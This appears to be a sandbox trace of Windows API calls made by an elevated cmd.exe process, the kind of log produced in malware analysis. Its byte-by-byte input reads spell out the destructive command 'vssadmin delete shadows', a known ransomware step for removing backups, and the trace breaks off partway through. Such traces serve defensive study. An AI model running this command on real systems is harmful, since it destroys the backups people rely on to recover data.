GetFileType (hFile=0x234) returned 0x3 [0157.370] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff6e1327f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0157.370] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff6e1327f60, nSize=0x2000, Arguments=0x8e844ffbc0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0157.370] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.370] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0157.370] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6e1319970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x8e844ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesWritten=0x8e844ffb18*=0x26, lpOverlapped=0x0) returned 1 [0157.370] _vsnwprintf (in: _Buffer=0x7ff6e1327f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x8e844ffbe8 | out: _Buffer="\r\n") returned 2 [0157.371] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.371] GetFileType (hFile=0x234) returned 0x3 [0157.371] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.371] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0157.371] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6e1319970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x8e844ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesWritten=0x8e844ffbb8*=0x2, lpOverlapped=0x0) returned 1 [0157.371] _vsnwprintf (in: _Buffer=0x7ff6e1327f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x8e844ffbe8 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0157.371] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.371] GetFileType (hFile=0x234) returned 0x3 [0157.371] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.371] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0157.371] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6e1319970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x8e844ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesWritten=0x8e844ffbb8*=0x34, lpOverlapped=0x0) returned 1 [0157.371] _vsnwprintf (in: _Buffer=0x7ff6e1327f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x8e844ffbe8 | out: _Buffer="\r\n") returned 2 [0157.371] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.371] GetFileType (hFile=0x234) returned 0x3 [0157.371] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.371] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0157.371] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6e1319970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x8e844ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesWritten=0x8e844ffbb8*=0x2, lpOverlapped=0x0) returned 1 [0157.371] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe882b0000 [0157.371] GetProcAddress (hModule=0x7ffe882b0000, lpProcName="CopyFileExW") returned 0x7ffe882ce830 [0157.372] GetProcAddress (hModule=0x7ffe882b0000, lpProcName="IsDebuggerPresent") returned 0x7ffe882ce300 [0157.372] GetProcAddress (hModule=0x7ffe882b0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffe87520a40 [0157.372] ??_V@YAXPEAX@Z () returned 0x1 [0157.372] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.372] GetFileType (hFile=0x228) returned 0x3 [0157.372] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0157.372] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x8e844ffa28 | out: TokenHandle=0x8e844ffa28*=0x0) returned 0xc000007c [0157.372] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x8e844ffa28 | out: TokenHandle=0x8e844ffa28*=0x94) returned 0x0 [0157.372] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0x8e844ff9d8, TokenInformationLength=0x4, ReturnLength=0x8e844ff9e0 | out: TokenInformation=0x8e844ff9d8, ReturnLength=0x8e844ff9e0) returned 0x0 [0157.372] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0x8e844ff9e0, TokenInformationLength=0x4, ReturnLength=0x8e844ff9d8 | out: TokenInformation=0x8e844ff9e0, ReturnLength=0x8e844ff9d8) returned 0x0 [0157.372] NtClose (Handle=0x94) returned 0x0 [0157.372] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x8e844ff9f0, nSize=0x0, Arguments=0x8e844ff9f8 | out: lpBuffer="渰ɢ") returned 0xf [0157.372] GetProcessHeap () returned 0x262f5940000 [0157.372] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x218) returned 0x262f5948bb0 [0157.374] GetConsoleTitleW (in: lpConsoleTitle=0x8e844ffa40, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0157.375] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0157.375] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0157.404] GetProcessHeap () returned 0x262f5940000 [0157.404] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5948bb0) returned 1 [0157.404] LocalFree (hMem=0x262f5946e30) returned 0x0 [0157.405] _vsnwprintf (in: _Buffer=0x7ff6e1327f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x8e844ff868 | out: _Buffer="\r\n") returned 2 [0157.405] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.405] GetFileType (hFile=0x234) returned 0x3 [0157.405] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.405] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0157.405] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6e1319970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x8e844ff838, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesWritten=0x8e844ff838*=0x2, lpOverlapped=0x0) returned 1 [0157.405] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0157.405] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x262f5b10080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0157.405] malloc (_Size=0x107ce) returned 0x262f5b20060 [0157.406] _vsnwprintf (in: _Buffer=0x262f5b20060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x8e844ff878 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0157.406] _vsnwprintf (in: _Buffer=0x262f5b20086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x8e844ff878 | out: _Buffer=">") returned 1 [0157.406] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.406] GetFileType (hFile=0x234) returned 0x3 [0157.406] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.406] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0157.406] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6e1319970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x8e844ff868, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesWritten=0x8e844ff868*=0x14, lpOverlapped=0x0) returned 1 [0157.406] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.406] GetFileType (hFile=0x228) returned 0x3 [0157.406] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.406] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.406] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.406] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c30, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0157.407] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.407] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.407] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.407] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c32, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0157.407] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.407] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.407] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.407] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c34, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0157.407] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.407] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.407] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.407] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c36, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0157.407] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.407] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.407] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.407] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c38, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0157.407] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.407] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.407] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.407] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c3a, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0157.407] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.407] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.408] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.408] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c3c, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0157.408] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.408] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.408] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.408] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0157.408] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.408] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.408] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.408] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0157.408] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.408] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.408] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.408] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c42, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0157.408] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.408] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.408] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.408] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c44, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0157.408] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.408] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.408] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.409] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c46, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0157.409] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.409] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.409] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.409] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0157.409] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.409] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.409] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.409] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c4a, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0157.409] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.409] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.409] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.409] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c4c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0157.409] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.409] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.409] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.409] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c4e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0157.409] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.409] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.409] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.409] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c50, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0157.409] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.410] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.410] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.410] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c52, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0157.410] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.410] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.410] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.410] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c54, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0157.410] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.410] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.410] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.410] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c56, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0157.410] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.410] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.410] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.410] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c58, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0157.410] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.410] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.410] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.410] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c5a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0157.410] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.410] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.410] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.411] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c5c, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0157.411] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.411] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.411] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.411] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0157.411] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.411] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.411] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, 